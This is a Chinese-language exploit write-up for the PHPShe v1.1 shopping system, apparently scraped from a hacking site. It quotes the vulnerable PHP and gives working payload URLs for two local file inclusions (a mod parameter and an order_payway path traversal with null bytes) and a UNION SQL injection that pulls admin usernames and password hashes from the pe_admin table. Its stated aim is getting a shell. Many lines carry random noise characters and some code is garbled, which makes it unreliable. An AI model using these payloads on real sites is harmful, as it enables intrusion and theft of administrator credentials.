phpshe v1.1多处SQL注入和文件包含漏洞Getshell

admin

/*******************************************************/
* @" r( C2 P) u$ t2 F% y% @/* Phpshe v1.1 Vulnerability
% q5 F' `/ v. h7 f# g% t' ], [/* ========================
0 ?0 W) L( A7 P# V% U* S* V/* By: : Kn1f3
- i; z& ~: {  `& E. A/* E-Mail : 681796@qq.com
; {6 W# c. A/ i, e/*******************************************************/
0×00 整体大概参数传输
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' l+ I6 e4 ]! j6 P//common.php
, a! s+ l6 n3 W9 Gif (get_magic_quotes_gpc()) {
!empty($_GET) && extract(pe_trim(pe_stripslashes($_GET)), EXTR_PREFIX_ALL, '_g');
!empty($_POST) && extract(pe_trim(pe_stripslashes($_POST)), EXTR_PREFIX_ALL, '_p');
}
else {
2 ]1 \& \6 X8 \+ g; w6 v!empty($_GET) && extract(pe_trim($_GET),EXTR_PREFIX_ALL,'_g');
!empty($_POST) && extract(pe_trim($_POST),EXTR_PREFIX_ALL,'_p');
}
session_start();
% }1 F7 `+ W; n- h!empty($_SESSION) && extract(pe_trim($_SESSION),EXTR_PREFIX_ALL,'_s');
" ]# ?* ^6 T/ V  f; Q!empty($_COOKIE) && extract(pe_trim(pe_stripslashes($_COOKIE)),EXTR_PREFIX_ALL,'_c');
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0×01 包含漏洞

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//首页文件
& v  K: G- }! i4 W0 ?7 e5 z<!--?php include('common.php'); $cache_category = cache::get('category'); $cache_category_arr = cache::get('category_arr'); $cache_class = cache::get('class'); $cache_ad = cache::get('ad'); $cache_link = cache::get('link'); $cache_page = cache::get('page'); $web_qq = $cache_setting['web_qq']['setting_value'] ? explode(',', $cache_setting['web_qq']['setting_value']) : array(); $cart_num = pe_login('user') ? $db--->pe_num('cart', array('user_id'=>$_s_user_id)) : (unserialize($_c_cart_list) ? count(unserialize($_c_cart_list)) : 0);
! Q" _  K# X6 I; t2 `, M2 a8 pinclude("{$pe['path_root']}module/{$module}/{$mod}.php");  //$mod可控造成“鸡肋”包含漏洞
pe_result();
?>
//common 文件 第15行开始
url路由配置
' R8 `# h/ S8 D/ v8 d+ s5 C$module = $mod = $act = 'index';
$mod = $_POST['mod'] ? $_POST['mod'] : ($_GET['mod'] ? $_GET['mod'] : $mod);
$act = $_POST['act'] ? $_POST['act'] : ($_GET['act'] ? $_GET['act'] : $act);
* o, D/ T( d! l3 T; _6 ]$id = $_POST['id'] ? $_POST['id'] : ($_GET['id'] ? $_GET['id'] : $id);
//exp：http://127.0.0.1/phpshe_v1.1/index.php?mod=../../robots.txt%00
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) l% u; _- U. w 0×02 搜索注入
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<code id="code2">

//product.php文件
0 r0 s" K' O. ?5 I7 Ncase 'list':
$category_id = intval($id);
, _) f& X7 D4 L3 o$ K, z/ z$info = $db->pe_select('category', array('category_id'=>$category_id));
//搜索
: m) z0 [0 n3 }4 I6 w. x) a9 l8 m. A4 Q$sqlwhere = " and `product_state` = 1";
, ?" z$ }/ e" Y) P1 V- npe_lead('hook/category.hook.php');
if ($category_id) {
where .= is_array($category_cidarr = category_cidarr($category_id)) ? " and `category_id` in('".implode("','", $category_cidarr)."')" : " and `category_id` = '{$category_id}'";
& h' _3 _' V  \% {# n+ k}
0 T8 ~. B  |5 s$_g_keyword && $sqlwhere .= " and `product_name` like '%{$_g_keyword}%'"; //keyword变量未进行有效的sql语句过滤
if ($_g_orderby) {
0 i' E  ?0 `9 ^$orderby = explode('_', $_g_orderby);
( I5 J. E6 E0 o$sqlwhere .= " order by `product_{$orderby[0]}` {$orderby[1]}";
: f- d/ F9 v3 ]}
else {
4 B) @" _' x, t; o$ E7 m4 E$ _$sqlwhere .= " order by `product_id` desc";
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, f) Y+ N) c$ [  Z( U$info_list = $db->pe_selectall('product', $sqlwhere, '*', array(16, $_g_page));
/ X' H8 S+ Z/ [# M( _2 @//热卖排行
0 y7 R" G4 I  ^/ `$product_hotlist = product_hotlist();
//当前路径
$nowpath = category_path($category_id);
$seo = pe_seo($info['category_name']);
/ v  R4 a2 K- p" f( rinclude(pe_tpl('product_list.html'));
//跟进selectall函数库
public function pe_selectall($table, $where = '', $field = '*', $limit_page = array())
{
- J( ^2 c: j' S) c+ A//处理条件语句
$sqlwhere = $this->_dowhere($where);
return $this->sql_selectall("select {$field} from `".dbpre."{$table}` {$sqlwhere}", $limit_page);
" `6 s+ J$ T% C# m) f' b" l. H}
% s8 [6 H& W9 N& \- q6 C) q//exp
1 J- [, R8 [0 |$ [product/list?keyword=kn1f3'+union+select+1,2,3,4,5,(select+concat(admin_name,0x27,admin_pw,0x27)+from+pe_admin),7,8,9,10,11,12,13,14,15,16,17,18,19 and+'1'='1
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</code>

0×03 包含漏洞2

<code id="code3">

//order.php

case 'pay':

" f. _, A  Y$ C; Q! P, o. y8 Q$order_id = pe_dbhold($_g_id);

4 j4 b, L6 s8 \4 j" \: p% ~! y$cache_payway = cache::get('payway');

foreach($cache_payway as $k => $v) {

/ J1 x( Q" a( q" n$cache_payway[$k]['payway_config'] = unserialize($cache_payway[$k]['payway_config']);

& z1 F# P' ?% I5 ~! {' dif ($k == 'bank') {

, d) {/ v2 W, w# Q8 {$cache_payway[$k]['payway_config']['bank_text'] = str_replace(array("\r", "\n", "\t"), '\n', $cache_payway[$k]['payway_config']['bank_text']);

}

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$order = $db->pe_select('order', array('order_id'=>$order_id, 'order_state'=>'notpay'));

!$order['order_id'] && pe_error('订单号错误...');

& I4 ^/ C+ N8 ]if (isset($_p_pesubmit)) {

% w. ]- S- c& _8 R. {; `( zif ($db->pe_update('order', array('order_id'=>$order_id), $_p_info)) {

$info_list = $db->pe_selectall('orderdata', array('order_id'=>$order_id));

' q: F7 s( m6 e" oforeach ($info_list as $v) {

$order['order_name'] .= "{$v['product_name']};";

}

echo '正在为您连接支付网站，请稍后...';

include("{$pe['path_root']}include/plugin/payway/{$_p_info['order_payway']}/order_pay.php");

$ |2 ^1 ?1 U8 o- b6 ^& o}//当一切准备好的时候就可以进行"鸡肋包含了"

else {

pe_error('支付错误...');

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}

$seo = pe_seo('选择支付方式');

include(pe_tpl('order_pay.html'));

% c6 d- |  a7 ?break;

}

//exp：

//http://127.0.0.1/phpshe_v1.1/index.php?mod=order&act=pay&id=1304070001

//info%5Border_payway%5D=alipay/../../../1.txt%00&pesubmit=%E7%AB%8B%E5%8D%B3%E6%94%AF%E4%BB%98</code>
2 K* E- a" Z9 w7 _http://www.myhack58.com/Article/UploadPic/2013-4/20134161293183866.jpg